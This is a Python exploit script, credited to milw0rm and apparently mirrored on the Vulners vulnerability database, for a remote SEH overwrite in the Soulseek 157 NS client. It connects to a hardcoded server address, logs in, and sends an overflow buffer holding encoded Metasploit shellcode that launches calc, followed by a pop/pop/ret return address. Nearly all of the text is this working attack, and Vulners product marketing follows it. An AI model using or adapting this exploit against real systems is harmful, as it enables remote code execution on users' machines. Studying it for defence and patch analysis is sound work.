#!/usr/bin/python
#[x] Bug :Soulseek 157 NS Remote Seh Overwrite Exploit
#[x] Credits & poc from : http://www.milw0rm.com/exploits/8777
#[x] Tested on : Windows Xp (sp3), Soulseek 157 NS 12d
#[x] The exploit attacks the user :"test4321"
import struct
import sys, socket
from time import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("208.76.170.50",2242)) # Change to Port 2240 for 156* branch
request = "\x48\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00"
request += "testt4321" # username
request += "\x08\x00\x00\x00"
request += "12345678" # password
request += "\xb5\x00\x00\x00\x20\x00\x00\x00"
request += "\x38\x65\x39\x31\x66\x37\x33\x30\x35\x35\x37\x31\x32\x35\x64\x37"
request += "\x34\x39\x32\x34\x62\x64\x66\x35\x63\x32\x39\x61\x36\x37\x64\x61"
request += "\x01\x00\x00\x00"
s.send(request)
sleep(1)
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x54\x4a\x51\x4b\x38"
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x48"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x38"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x31\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x50\x4b\x48\x4a\x36\x4e\x43\x4f\x55\x41\x53"
"\x48\x4f\x42\x56\x48\x55\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x37"
"\x42\x45\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x46\x43\x56\x42\x50\x5a")
payload = "\x41" * (3084-len(shellcode))
payload += shellcode
payload += "\xE9\xA4\xFE\xFF\xFF"
payload += "\90"*22
payload += "\xEB\xE3\x41\x42"
payload += "\x34\x14\x40\x00" # p/p/r->SoulSeek.exe
payload += "\x44" * 1423
request2 = "\x01\x0f\x00\x00\x2a\x00\x00\x00\x09\x00\x00\x00"
request2 += "testt4321"
request2 += "\xa4\x5a\x51\x44\xe8\x0e\x00\x00"
request2 += payload
s.send(request2)
sleep(1)
s.recv(1024)
# milw0rm.com [2009-05-26]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation